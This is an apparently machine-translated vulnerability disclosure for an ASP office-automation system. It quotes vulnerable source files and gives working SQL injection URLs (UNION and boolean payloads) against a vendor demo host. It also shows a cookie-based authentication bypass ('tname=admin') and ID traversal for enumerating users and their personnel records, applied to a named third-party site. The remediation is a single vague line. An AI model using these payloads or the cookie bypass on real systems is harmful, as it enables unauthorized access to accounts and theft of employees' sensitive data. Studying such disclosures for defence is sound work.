Unauthorized access to an OA system, multiple SQL injections, and arbitrary user logon, including Administrator

Unauthorized access to an OA system, multiple SQL injections, and arbitrary user logon, including Administrator

Unauthorized access to an OA system, multiple SQL injections, and arbitrary User Login include recruitment in a large number of cases by administrators, recruitment in demo on the official website, and Multiple Vulnerabilities

Official demo address:

Http://demo.yfidea.com/
 

0x001 unauthorized access + SQL Injection

First, SQL Injection

File/OA/varset/modify. asp

 

<p>  <%strId=request("id") tname=request("tname")Set rs=Server.CreateObject("Adodb.Recordset")sql="select * from varset where     ID='"&strID& "'"rs.open sql,conn,1,1%></p>

Injection address:

Http://demo.yfidea.com/OA/varset/modify.asp? Tname = bumenfile & id =-202 'Union all select 1, 2, 3, db_name (), 5, 6, 7 --



Second, SQL Injection

File/OA/varset/modifyqishu. asp

 

<p>  <%   strId=request("id")   tname=request("tname")   Set rs=Server.CreateObject("Adodb.Recordset")   sql="select * from varset where     ID='"&strID& "'"   rs.open sql,conn,1,1   %>

Injection address:

Http://demo.yfidea.com/OA/varset/modifyqishu.asp? Tname = bumenfile & id =-202 'Union all select 1, 2, 3, db_name (), 5, 6, 7 --



Third, SQL Injection

File/OA/varset/modifysubject. asp

 

<p>  <%strId=request("id") tname=request("tname")Set rs=Server.CreateObject("Adodb.Recordset")sql="select * from varset where     ID='"&strID& "'"rs.open sql,conn,1,1%>

Injection address:

Http://demo.yfidea.com/OA/varset/modifysubject.asp? Tname = bumenfile & id =-8892 'Union all select 1, 2, 3, db_name (), 5, 6, 7 --



Fourth, five SQL injections

File/OA/varset/modifysys. asp

 

<P> <% var = request ("var") vargroup = request ("vargroup") set Rsvar = Conn. execute ("select * from varset where name = '" & var &"'") %> </p> <form id = "form3" name = "form3" method = "post" action =" savemodifysys. asp? Var = <% = var %> & vargroup = <% = vargroup %> "onSubmit =" return form_check (); "> <p> </p> <table width =" 442 "border =" 0 "align =" center "cellspacing =" 0 "bordercolorlight =" # 11b1ff "bordercolordark =" # f0f8ff "> <tr align =" middle "> <td width =" 64 "class =" STYLE1 "> </td> <td width =" 61 "height =" 41 "class =" STYLE1 "> <div align =" right "> parameters </div> </td> <td width =" 315 "align =" center "valign =" middle "class =" STYLE1 "> <div align =" left "> <select name =" vname "id =" vname "> <option> <% = Rsvar (" vname ") %> </option> <% Set RSsel = Conn. execute ("select * from varset where name = '" & vargroup & "'order by vid") While NOT RSsel. EOF %> <option value = "<% = RSsel (" vname ") %>"> <% = RSsel ("vname") %> </option> <% RSsel. moveNext Wend %> </select> <input name = "Submit" type = "submit" class = "topanniu" value = "Save changes"/> </div> </label> </td> <td width = "8"> </td> </tr> </table> <p> </p> <p align = "center"> note: <% = Rsvar ("shuoming") %> </p> <% RSsel. close Rsvar. close %> </form>

Http://demo.yfidea.com/OA/varset/modifysys.asp? Var =-123 'Union all select 456, 3, db_name (), 7 -- & vargroup =

Http://demo.yfidea.com/OA/varset/modifysys.asp? Var = 1 & vargroup =-456 'Union all select 1, 2, 3, db_name (), 5, 6, 7 --



Sixth, SQL Injection

File/OA/varset/modifytime. asp

 

<p>  <%strId=request("id") varname=request("varname")Set rs=Server.CreateObject("Adodb.Recordset")sql="select * from varset where     ID='"&strID& "'"rs.open sql,conn,1,1%></p>

Http://demo.yfidea.com/OA/varset/modifytime.asp? Tname = bumenfile & id =-202 'Union all select 1, 2, 3, db_name (), 5, 6, 7 --



Seventh, SQL Injection

File/OA/keyan/newfile. asp

 

<!--#include file="../SQLconn.asp"--><% dim strIDstrId=request("id")dim fjsqldim fjrsdim strfilenamefjsql="select * from wendangfile  where fid='"&strId& "'"Set fjrs= Server.CreateObject("ADODB.Recordset")fjrs.open fjsql,conn,1,1Response.ContentType = fjrs("fileContentType")'Response.AddHeader   "Content-Disposition","attachment;   filename="&fjrs("filename")Response.AddHeader   "Content-Disposition","inline;   filename="&fjrs("filename")Response.BinaryWrite fjrs("filevalue").getChunk(21212121) fjrs.closeset fjrs=nothing set conn=nothing %>

Http://demo.yfidea.com/OA/keyan/newfile.asp? Id = 7' and 'A' = 'a -- download an object

Http://demo.yfidea.com/OA/keyan/newfile.asp? Id = 7' and 'A' = 'B -- the object cannot be downloaded.



Eighth, SQL injection + unauthorized access + Information Leakage

File/OA/renshigongzi/modifyDangAn. asp

 

<%   id=request("id")   Set Rslist=Server.CreateObject("Adodb.Recordset")   sqllist="select * from Employee where id='"&ID& "'"   Rslist.open sqllist,conn,1,1   %>

Http://demo.yfidea.com/OA/renshigongzi/modifyDangAn.asp? Id = 1

Attackers can access all users' archive information by traversing the id. Sensitive Information is detailed.

Http://demo.yfidea.com/OA/renshigongzi/modifyDangAn.asp? Id = 1' and 'A' = 'a

Display normal

Http://demo.yfidea.com/OA/renshigongzi/modifyDangAn.asp? Id = 1 'and 'A' =' B

Display error, no echo



0x002 arbitrary User Login

File/login. asp

 

<% Strip = Request. serverVariables ("REMOTE_ADDR") Set MyOAASPObj = Server. createObject ("YFSchoolOApro. YFSchoolDll ") str = myaaspobj. OA_Login (strip) set MyOAASPObj = nothing dim str1 str1 = split (str, "|",-1, 1) response. cookies ("Tname") = str1 (0) response. cookies ("imgdir") = str1 (1) response. cookies ("nowxueqi") = str1 (2) response. cookies ("filelength") = 10' this 1 indicates that the length of the uploaded file cannot exceed 1 MB. if str1 (3) = "888" then response. redirect ("OA/user/password. asp ") else response. redirect ("OA/Index. asp ") end if %>

Although the login authentication has passed the core dll file, the source code cannot be seen in the dll file encryption, but we can see that the big data is processed through cookies, and there must be a problem ..

Let's take a look at/oa/checklogin. asp.

 

<% 'Logon control to prevent logon attempts to view if request. cookies ("tname") = "" then response. redirect ("../Index. asp") end if %>

It only checks whether cookies ("tname") exist to authenticate the user's access permissions.

Therefore, after testing, we can add tname = user name in the Cookie to log on to this user account.

Case http://oa.bh5z.net as an Example

Add cookie:

Tname = admin;

You can log on to the admin user.

You can also add a cookie:

Imgdir = 004 hong;

This is the skin.

As for the user name, we can get from here:

Http://oa.bh5z.net/oa/user/modifyuser.asp? ID = 1824

Traverse the id here to get all users and log on to any users.

Solution:

Primary control permissions, filtering